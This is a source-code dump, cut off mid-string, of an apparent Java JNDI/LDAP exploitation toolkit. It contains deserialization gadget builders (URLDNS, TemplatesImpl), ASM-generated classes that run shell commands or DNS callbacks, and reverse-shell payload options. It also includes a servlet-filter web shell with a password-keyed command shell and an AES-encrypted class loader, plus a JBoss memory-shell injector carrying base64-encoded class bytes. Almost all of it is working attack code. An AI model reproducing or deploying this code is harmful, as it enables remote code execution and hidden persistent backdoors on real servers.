java.net.URL.handler is transient, it will not be part of the serialized payload. URLStreamHandler handler = new SilentURLStreamHandler(); HashMap ht = new HashMap(); // HashMap that will contain the URL URL u = new URL(null, url, handler); // URL to use as the Key ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup. Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered. ByteArrayOutputStream baous = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baous); oos.writeObject(ht); byte[] bytes = baous.toByteArray(); oos.close(); return bytes; } static class SilentURLStreamHandler extends URLStreamHandler { protected URLConnection openConnection(URL u) throws IOException { return null; } protected synchronized InetAddress getHostAddress(URL u) { return null; } } } ================================================ FILE: src/main/java/com/feihong/ldap/gadgets/utils/ClassFiles.java ================================================ package com.feihong.ldap.gadgets.utils; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; public class ClassFiles { public static String classAsFile(final Class clazz) { return classAsFile(clazz, true); } public static String classAsFile(final Class clazz, boolean suffix) { String str; if (clazz.getEnclosingClass() == null) { str = clazz.getName().replace(".", "/"); } else { str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName(); } if (suffix) { str += ".class"; } return str; } public static byte[] classAsBytes(final Class clazz) { try { final byte[] buffer = new byte[1024]; final String file = classAsFile(clazz); final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new IOException("couldn't find '" + file + "'"); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } return out.toByteArray(); } catch (IOException e) { throw new RuntimeException(e); } } } ================================================ FILE: src/main/java/com/feihong/ldap/gadgets/utils/Gadgets.java ================================================ package com.feihong.ldap.gadgets.utils; import com.feihong.ldap.utils.Cache; import com.feihong.ldap.enumtypes.PayloadType; import com.feihong.ldap.template.CommandTemplate; import com.feihong.ldap.template.DnslogTemplate; import com.feihong.ldap.template.ReverseShellTemplate; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.Serializable; import java.lang.reflect.*; import java.util.HashMap; import java.util.Map; import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET; /* * utility generator functions for common jdk-only gadgets */ @SuppressWarnings ( { "restriction", "rawtypes", "unchecked" } ) public class Gadgets { static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled System.setProperty(DESERIALIZE_TRANSLET, "true"); // for RMI remote loading System.setProperty("java.rmi.server.useCodebaseOnly", "false"); } public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; public static class StubTransletPayload extends AbstractTranslet implements Serializable { private static final long serialVersionUID = -5971610431559700674L; public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } // required to make TemplatesImpl happy public static class Foo implements Serializable { private static final long serialVersionUID = 8207363842866235160L; } public static T createMemoitizedProxy ( final Map map, final Class iface, final Class... ifaces ) throws Exception { return createProxy(createMemoizedInvocationHandler(map), iface, ifaces); } public static InvocationHandler createMemoizedInvocationHandler ( final Map map ) throws Exception { return (InvocationHandler) Reflections.getFirstCtor(ANN_INV_HANDLER_CLASS).newInstance(Override.class, map); } public static T createProxy ( final InvocationHandler ih, final Class iface, final Class... ifaces ) { final Class[] allIfaces = (Class[]) Array.newInstance(Class.class, ifaces.length + 1); allIfaces[ 0 ] = iface; if ( ifaces.length > 0 ) { System.arraycopy(ifaces, 0, allIfaces, 1, ifaces.length); } return iface.cast(Proxy.newProxyInstance(Gadgets.class.getClassLoader(), allIfaces, ih)); } public static Map createMap ( final String key, final Object val ) { final Map map = new HashMap(); map.put(key, val); return map; } public static Object createTemplatesImpl (PayloadType type, String... param) throws Exception { if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) { return createTemplatesImpl( type, Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"), param); } return createTemplatesImpl(type, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, param); } public static T createTemplatesImpl (PayloadType type, Class tplClass, Class abstTranslet, Class transFactory, String... param) throws Exception { final T templates = tplClass.newInstance(); // // use template gadget class // ClassPool pool = ClassPool.getDefault(); // pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); // pool.insertClassPath(new ClassClassPath(abstTranslet)); // final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // // run command in static initializer // // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // String cmd = "java.lang.Runtime.getRuntime().exec(\"" + // command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + // "\");"; // clazz.makeClassInitializer().insertAfter(cmd); // // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) // clazz.setName("ysoserial.Pwner" + System.nanoTime()); // CtClass superC = pool.get(abstTranslet.getName()); // clazz.setSuperclass(superC); byte[] classBytes = null; switch (type){ case command: CommandTemplate commandTemplate = new CommandTemplate(param[0]); classBytes = commandTemplate.getBytes(); break; case dnslog: DnslogTemplate dnslogTemplate = new DnslogTemplate(param[0]); classBytes = dnslogTemplate.getBytes(); break; case reverseshell: ReverseShellTemplate reverseShellTemplate = new ReverseShellTemplate(param[0], param[1]); classBytes = reverseShellTemplate.getBytes(); break; case tomcatmemshell: classBytes = Cache.get("TomcatMemshellTemplate"); break; case jettymemshell: classBytes = Cache.get("JettyMemshellTemplate"); break; case jbossmemshell: classBytes = Cache.get("JBossMemshellTemplate"); break; case weblogicmemshell: classBytes = Cache.get("WeblogicMemshellTemplate"); break; case webspherememshell: classBytes = Cache.get("WebsphereMemshellTemplate"); break; case springmemshell: classBytes = Cache.get("SpringMemshellTemplate"); break; } // inject class bytes into instance Reflections.setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, ClassFiles.classAsBytes(Foo.class) }); // required to make TemplatesImpl happy Reflections.setFieldValue(templates, "_name", "Pwnr"); Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance()); return templates; } public static HashMap makeMap(Object v1, Object v2) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { HashMap s = new HashMap(); Reflections.setFieldValue(s, "size", 2); Class nodeC; try { nodeC = Class.forName("java.util.HashMap$Node"); } catch ( ClassNotFoundException e ) { nodeC = Class.forName("java.util.HashMap$Entry"); } Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); Reflections.setAccessible(nodeCons); Object tbl = Array.newInstance(nodeC, 2); Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null)); Reflections.setFieldValue(s, "table", tbl); return s; } } ================================================ FILE: src/main/java/com/feihong/ldap/gadgets/utils/Reflections.java ================================================ package com.feihong.ldap.gadgets.utils; import com.nqzero.permit.Permit; import sun.reflect.ReflectionFactory; import java.lang.reflect.AccessibleObject; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; @SuppressWarnings ( "restriction" ) public class Reflections { public static void setAccessible(AccessibleObject member) { // quiet runtime warnings from JDK9+ Permit.setAccessible(member); } public static Field getField(final Class clazz, final String fieldName) { Field field = null; try { field = clazz.getDeclaredField(fieldName); setAccessible(field); } catch (NoSuchFieldException ex) { if (clazz.getSuperclass() != null) field = getField(clazz.getSuperclass(), fieldName); } return field; } public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { final Field field = getField(obj.getClass(), fieldName); field.set(obj, value); } public static Object getFieldValue(final Object obj, final String fieldName) throws Exception { final Field field = getField(obj.getClass(), fieldName); return field.get(obj); } public static Constructor getFirstCtor(final String name) throws Exception { final Constructor ctor = Class.forName(name).getDeclaredConstructors()[0]; setAccessible(ctor); return ctor; } public static Object newInstance(String className, Object ... args) throws Exception { return getFirstCtor(className).newInstance(args); } public static T createWithoutConstructor ( Class classToInstantiate ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); } @SuppressWarnings ( {"unchecked"} ) public static T createWithConstructor ( Class classToInstantiate, Class constructorClass, Class[] consArgTypes, Object[] consArgs ) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { Constructor objCons = constructorClass.getDeclaredConstructor(consArgTypes); setAccessible(objCons); Constructor sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons); setAccessible(sc); return (T)sc.newInstance(consArgs); } } ================================================ FILE: src/main/java/com/feihong/ldap/gadgets/utils/Util.java ================================================ package com.feihong.ldap.gadgets.utils; public class Util { public static byte[] deleteAt(byte[] bs, int index) { int length = bs.length - 1; byte[] ret = new byte[length]; if(index == bs.length - 1) { System.arraycopy(bs, 0, ret, 0, length); } else if(index < bs.length - 1) { for(int i = index; i < length; i++) { bs[i] = bs[i + 1]; } System.arraycopy(bs, 0, ret, 0, length); } return ret; } public static byte[] addAtIndex(byte[] bs, int index, byte b) { int length = bs.length + 1; byte[] ret = new byte[length]; System.arraycopy(bs, 0, ret, 0, index); ret[index] = b; System.arraycopy(bs, index, ret, index + 1, length - index - 1); return ret; } public static byte[] addAtLast(byte[] bs, byte b) { int length = bs.length + 1; byte[] ret = new byte[length]; System.arraycopy(bs, 0, ret, 0, length-1); ret[length - 1] = b; return ret; } } ================================================ FILE: src/main/java/com/feihong/ldap/template/CommandTemplate.java ================================================ package com.feihong.ldap.template; import com.feihong.ldap.utils.Cache; import com.feihong.ldap.utils.Util; import org.objectweb.asm.*; import static org.objectweb.asm.Opcodes.*; public class CommandTemplate implements Template{ private String className; private byte[] bytes; private String cmd; public CommandTemplate(String cmd){ this.cmd = cmd; this.className = "Exploit" + Util.getRandomString(); generate(); } public CommandTemplate(String cmd, String className){ this.cmd = cmd; this.className = className; generate(); } public void cache(){ Cache.set(className, bytes); } public String getClassName(){ return className; } public byte[] getBytes(){ return bytes; } public void generate(){ ClassWriter cw = new ClassWriter(0); FieldVisitor fv; MethodVisitor mv; AnnotationVisitor av0; cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); { fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "cmd", "Ljava/lang/String;", null, null); fv.visitEnd(); } { mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); mv.visitCode(); Label l0 = new Label(); Label l1 = new Label(); Label l2 = new Label(); mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); mv.visitVarInsn(ALOAD, 0); mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); mv.visitLdcInsn("/"); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); Label l3 = new Label(); mv.visitJumpInsn(IFEQ, l3); mv.visitInsn(ICONST_3); mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); mv.visitInsn(DUP); mv.visitInsn(ICONST_0); mv.visitLdcInsn("/bin/sh"); mv.visitInsn(AASTORE); mv.visitInsn(DUP); mv.visitInsn(ICONST_1); mv.visitLdcInsn("-c"); mv.visitInsn(AASTORE); mv.visitInsn(DUP); mv.visitInsn(ICONST_2); mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); mv.visitInsn(AASTORE); mv.visitVarInsn(ASTORE, 1); mv.visitJumpInsn(GOTO, l0); mv.visitLabel(l3); mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {}); mv.visitInsn(ICONST_3); mv.visitTypeInsn(ANEWARRAY, "java/lang/String"); mv.visitInsn(DUP); mv.visitInsn(ICONST_0); mv.visitLdcInsn("cmd"); mv.visitInsn(AASTORE); mv.visitInsn(DUP); mv.visitInsn(ICONST_1); mv.visitLdcInsn("/C"); mv.visitInsn(AASTORE); mv.visitInsn(DUP); mv.visitInsn(ICONST_2); mv.visitFieldInsn(GETSTATIC, className, "cmd", "Ljava/lang/String;"); mv.visitInsn(AASTORE); mv.visitVarInsn(ASTORE, 1); mv.visitLabel(l0); mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {"[Ljava/lang/String;"}, 0, null); mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); mv.visitVarInsn(ALOAD, 1); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "([Ljava/lang/String;)Ljava/lang/Process;", false); mv.visitInsn(POP); mv.visitLabel(l1); Label l4 = new Label(); mv.visitJumpInsn(GOTO, l4); mv.visitLabel(l2); mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"}); mv.visitVarInsn(ASTORE, 2); mv.visitVarInsn(ALOAD, 2); mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); mv.visitLabel(l4); mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); mv.visitInsn(RETURN); mv.visitMaxs(4, 3); mv.visitEnd(); } { mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); mv.visitCode(); mv.visitInsn(RETURN); mv.visitMaxs(0, 3); mv.visitEnd(); } { mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); mv.visitCode(); mv.visitInsn(RETURN); mv.visitMaxs(0, 4); mv.visitEnd(); } { mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); mv.visitCode(); mv.visitLdcInsn(cmd); mv.visitFieldInsn(PUTSTATIC, className, "cmd", "Ljava/lang/String;"); mv.visitInsn(RETURN); mv.visitMaxs(1, 0); mv.visitEnd(); } cw.visitEnd(); bytes = cw.toByteArray(); } } ================================================ FILE: src/main/java/com/feihong/ldap/template/DnslogTemplate.java ================================================ package com.feihong.ldap.template; import com.feihong.ldap.utils.Cache; import com.feihong.ldap.utils.Util; import org.objectweb.asm.*; import static org.objectweb.asm.Opcodes.*; public class DnslogTemplate implements Template { private String className; private byte[] bytes; private String dnslog; public DnslogTemplate(String dnslog){ this.dnslog = dnslog; this.className = "Exploit" + Util.getRandomString(); generate(); } public DnslogTemplate(String dnslog, String className){ this.dnslog = dnslog; this.className = className; generate(); } public void cache(){ Cache.set(className, bytes); } public String getClassName(){ return className; } public byte[] getBytes(){ return bytes; } public void generate(){ ClassWriter cw = new ClassWriter(0); FieldVisitor fv; MethodVisitor mv; AnnotationVisitor av0; cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null); { fv = cw.visitField(ACC_PRIVATE + ACC_STATIC, "dnslog", "Ljava/lang/String;", null, null); fv.visitEnd(); } { mv = cw.visitMethod(ACC_PUBLIC, "", "()V", null, null); mv.visitCode(); Label l0 = new Label(); Label l1 = new Label(); Label l2 = new Label(); mv.visitTryCatchBlock(l0, l1, l2, "java/io/IOException"); mv.visitVarInsn(ALOAD, 0); mv.visitMethodInsn(INVOKESPECIAL, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", "", "()V", false); mv.visitFieldInsn(GETSTATIC, "java/io/File", "separator", "Ljava/lang/String;"); mv.visitLdcInsn("/"); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "equals", "(Ljava/lang/Object;)Z", false); Label l3 = new Label(); mv.visitJumpInsn(IFEQ, l3); mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); mv.visitInsn(DUP); mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); mv.visitLdcInsn("ping -c 1 "); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); mv.visitVarInsn(ASTORE, 1); mv.visitJumpInsn(GOTO, l0); mv.visitLabel(l3); mv.visitFrame(Opcodes.F_FULL, 1, new Object[] {className}, 0, new Object[] {}); mv.visitTypeInsn(NEW, "java/lang/StringBuilder"); mv.visitInsn(DUP); mv.visitMethodInsn(INVOKESPECIAL, "java/lang/StringBuilder", "", "()V", false); mv.visitLdcInsn("nslookup "); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); mv.visitFieldInsn(GETSTATIC, className, "dnslog", "Ljava/lang/String;"); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "append", "(Ljava/lang/String;)Ljava/lang/StringBuilder;", false); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/StringBuilder", "toString", "()Ljava/lang/String;", false); mv.visitVarInsn(ASTORE, 1); mv.visitLabel(l0); mv.visitFrame(Opcodes.F_APPEND,1, new Object[] {"java/lang/String"}, 0, null); mv.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime", "()Ljava/lang/Runtime;", false); mv.visitVarInsn(ALOAD, 1); mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false); mv.visitInsn(POP); mv.visitLabel(l1); Label l4 = new Label(); mv.visitJumpInsn(GOTO, l4); mv.visitLabel(l2); mv.visitFrame(Opcodes.F_SAME1, 0, null, 1, new Object[] {"java/io/IOException"}); mv.visitVarInsn(ASTORE, 2); mv.visitVarInsn(ALOAD, 2); mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/IOException", "printStackTrace", "()V", false); mv.visitLabel(l4); mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null); mv.visitInsn(RETURN); mv.visitMaxs(2, 3); mv.visitEnd(); } { mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;[Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); mv.visitCode(); mv.visitInsn(RETURN); mv.visitMaxs(0, 3); mv.visitEnd(); } { mv = cw.visitMethod(ACC_PUBLIC, "transform", "(Lcom/sun/org/apache/xalan/internal/xsltc/DOM;Lcom/sun/org/apache/xml/internal/dtm/DTMAxisIterator;Lcom/sun/org/apache/xml/internal/serializer/SerializationHandler;)V", null, new String[] { "com/sun/org/apache/xalan/internal/xsltc/TransletException" }); mv.visitCode(); mv.visitInsn(RETURN); mv.visitMaxs(0, 4); mv.visitEnd(); } { mv = cw.visitMethod(ACC_STATIC, "", "()V", null, null); mv.visitCode(); mv.visitLdcInsn(dnslog); mv.visitFieldInsn(PUTSTATIC, className, "dnslog", "Ljava/lang/String;"); mv.visitInsn(RETURN); mv.visitMaxs(1, 0); mv.visitEnd(); } cw.visitEnd(); bytes = cw.toByteArray(); } } ================================================ FILE: src/main/java/com/feihong/ldap/template/DynamicFilterTemplate.java ================================================ package com.feihong.ldap.template; import sun.misc.BASE64Decoder; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.File; import java.io.IOException; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.Scanner; public class DynamicFilterTemplate implements Filter { private Class myClassLoaderClazz; private String basicCmdShellPwd = "pass"; private String behinderShellHeader = "X-Options-Ai"; private String behinderShellPwd = "e45e329feb5d925b"; // rebeyond public DynamicFilterTemplate(){ super(); initialize(); } @Override public void init(FilterConfig filterConfig) throws ServletException { } @Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { System.out.println("[+] Dynamic Filter says hello"); if(servletRequest.getParameter("type") != null && servletRequest.getParameter("type").equals("basic")){ //basic cmd shell String cmd = servletRequest.getParameter(basicCmdShellPwd); if(cmd != null && !cmd.isEmpty()){ String[] cmds = null; if(File.separator.equals("/")){ cmds = new String[]{"/bin/sh", "-c", cmd}; }else{ cmds = new String[]{"cmd", "/C", cmd}; } String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next(); servletResponse.getWriter().println(result); } }else if(((HttpServletRequest)servletRequest).getHeader(behinderShellHeader) != null){ //behind3 shell try{ if (((HttpServletRequest)servletRequest).getMethod().equals("POST")){ String k = behinderShellPwd; ((HttpServletRequest)servletRequest).getSession().setAttribute("u",k); Cipher cipher = Cipher.getInstance("AES"); cipher.init(2, new SecretKeySpec((((HttpServletRequest)servletRequest).getSession().getAttribute("u") + "").getBytes(), "AES")); byte[] evilClassBytes = cipher.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(servletRequest.getReader().readLine())); Class evilClass = (Class) myClassLoaderClazz.getDeclaredMethod("defineClass", byte[].class, ClassLoader.class).invoke(null, evilClassBytes, Thread.currentThread().getContextClassLoader()); Object evilObject = evilClass.newInstance(); Method targetMethod = evilClass.getDeclaredMethod("equals", new Class[]{ServletRequest.class, ServletResponse.class}); targetMethod.invoke(evilObject, new Object[]{servletRequest, servletResponse}); } }catch(Exception e){ e.printStackTrace(); } }else{ filterChain.doFilter(servletRequest, servletResponse); } } @Override public void destroy() { } private void initialize(){ try{ ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); try{ this.myClassLoaderClazz = classLoader.loadClass("com.feihong.ldap.template.MyClassLoader"); } catch (ClassNotFoundException e) { Class clazz = classLoader.getClass(); Method method = null; while(method == null && clazz != Object.class){ try{ method = clazz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); }catch(NoSuchMethodException ex){ clazz = clazz.getSuperclass(); } } String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAClMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9NeUNsYXNzTG9hZGVyOwEAAWMBABdMamF2YS9sYW5nL0NsYXNzTG9hZGVyOwEAC2RlZmluZUNsYXNzAQAsKFtCTGphdmEvbGFuZy9DbGFzc0xvYWRlcjspTGphdmEvbGFuZy9DbGFzczsBAAVieXRlcwEAAltCAQALY2xhc3NMb2FkZXIBAApTb3VyY2VGaWxlAQASTXlDbGFzc0xvYWRlci5qYXZhDAAGAAcBACdjb20vZmVpaG9uZy9sZGFwL3RlbXBsYXRlL015Q2xhc3NMb2FkZXIMAA8AGgEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEAFyhbQklJKUxqYXZhL2xhbmcvQ2xhc3M7ACEAAgAFAAAAAAACAAAABgAHAAEACAAAADoAAgACAAAABiortwABsQAAAAIACQAAAAYAAQAAAAQACgAAABYAAgAAAAYACwAMAAAAAAAGAA0ADgABAAkADwAQAAEACAAAAEQABAACAAAAELsAAlkrtwADKgMqvrYABLAAAAACAAkAAAAGAAEAAAAIAAoAAAAWAAIAAAAQABEAEgAAAAAAEAATAA4AAQABABQAAAACABU="; byte[] bytes = new BASE64Decoder().decodeBuffer(code); method.setAccessible(true); this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); } } catch (IllegalAccessException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } } } ================================================ FILE: src/main/java/com/feihong/ldap/template/JBossMemshellTemplate.java ================================================ package com.feihong.ldap.template; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import io.undertow.servlet.api.DeploymentInfo; import io.undertow.servlet.api.FilterInfo; import io.undertow.servlet.core.DeploymentImpl; import io.undertow.servlet.spec.HttpServletRequestImpl; import io.undertow.servlet.util.ConstructorInstanceFactory; import sun.misc.BASE64Decoder; import javax.security.jacc.PolicyContext; import javax.servlet.DispatcherType; import javax.servlet.Filter; import javax.servlet.ServletContext; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.lang.reflect.Modifier; import java.util.Map; public class JBossMemshellTemplate extends AbstractTranslet { public JBossMemshellTemplate(){ try{ String filterName = "dynamicFilter"; String urlPattern = "/*"; HttpServletRequestImpl request = (HttpServletRequestImpl) PolicyContext.getContext("javax.servlet.http.HttpServletRequest"); ServletContext context = request.getServletContext(); Field f = context.getClass().getDeclaredField("deploymentInfo"); f.setAccessible(true); DeploymentInfo deploymentInfo = (DeploymentInfo)f.get(context); //只添加一次 Map filters = deploymentInfo.getFilters(); if(!filters.containsKey(filterName)){ System.out.println("[+] Add Dynamic Filter"); ClassLoader cl = Thread.currentThread().getContextClassLoader(); Class clazz; try{ clazz = cl.loadClass("com.feihong.ldap.template.DynamicFilterTemplate"); }catch(ClassNotFoundException e){ BASE64Decoder base64Decoder = new BASE64Decoder(); String codeClass = "yv66vgAAADIBXgoAQgCnCACoCQBdAKkIAKoJAF0AqwgArAkAXQCtCgBdAK4JAK8AsAgAsQoAsgCzCAC0CwBIALUIALYKABMAtwoAEwC4CQC5ALoIALsHALwIAL0IAL4IAHcIAL8HAMAKAMEAwgoAwQDDCgDEAMUKABgAxggAxwoAGADICgAYAMkLAEkAygoAywCzBwDMCwAiAM0LACIAzggAzwsAIgDQCADRCwDSANMIANQKANUA1gcA1wcA2AoALACnCwDSANkKACwA2ggA2woALADcCgAsAN0KABMA3goAKwDfCgDVAOAHAOEKADYApwsASADiCgDjAOQKADYA5QoA1QDmCQBdAOcIAOgHAOkHAHwHAOoKAD4A6wcA7AoA7QDuCgDtAO8KAPAA8QoAPgDyCADzBwD0BwD1BwD2CgBKAPcLAPgA+QgA+goAQAD7BwD8CgBCAP0JAP4A/wcBAAoAPgEBCAECCgDwAQMKAP4BBAcBBQoAVwD3BwEGCgBZAPcHAQcKAFsA9wcBCAcBCQEAEm15Q2xhc3NMb2FkZXJDbGF6egEAEUxqYXZhL2xhbmcvQ2xhc3M7AQAQYmFzaWNDbWRTaGVsbFB3ZAEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAE2JlaGluZGVyU2hlbGxIZWFkZXIBABBiZWhpbmRlclNoZWxsUHdkAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBADFMY29tL2ZlaWhvbmcvbGRhcC90ZW1wbGF0ZS9EeW5hbWljRmlsdGVyVGVtcGxhdGU7AQAEaW5pdAEAHyhMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7KVYBAAxmaWx0ZXJDb25maWcBABxMamF2YXgvc2VydmxldC9GaWx0ZXJDb25maWc7AQAKRXhjZXB0aW9ucwcBCgEACGRvRmlsdGVyAQBbKExqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZTtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjspVgEABGNtZHMBABNbTGphdmEvbGFuZy9TdHJpbmc7AQAGcmVzdWx0AQADY21kAQABawEABmNpcGhlcgEAFUxqYXZheC9jcnlwdG8vQ2lwaGVyOwEADmV2aWxDbGFzc0J5dGVzAQACW0IBAAlldmlsQ2xhc3MBAApldmlsT2JqZWN0AQASTGphdmEvbGFuZy9PYmplY3Q7AQAMdGFyZ2V0TWV0aG9kAQAaTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAOc2VydmxldFJlcXVlc3QBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAA9zZXJ2bGV0UmVzcG9uc2UBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQALZmlsdGVyQ2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAA1TdGFja01hcFRhYmxlBwC8BwB1BwD2AQAHZGVzdHJveQEACml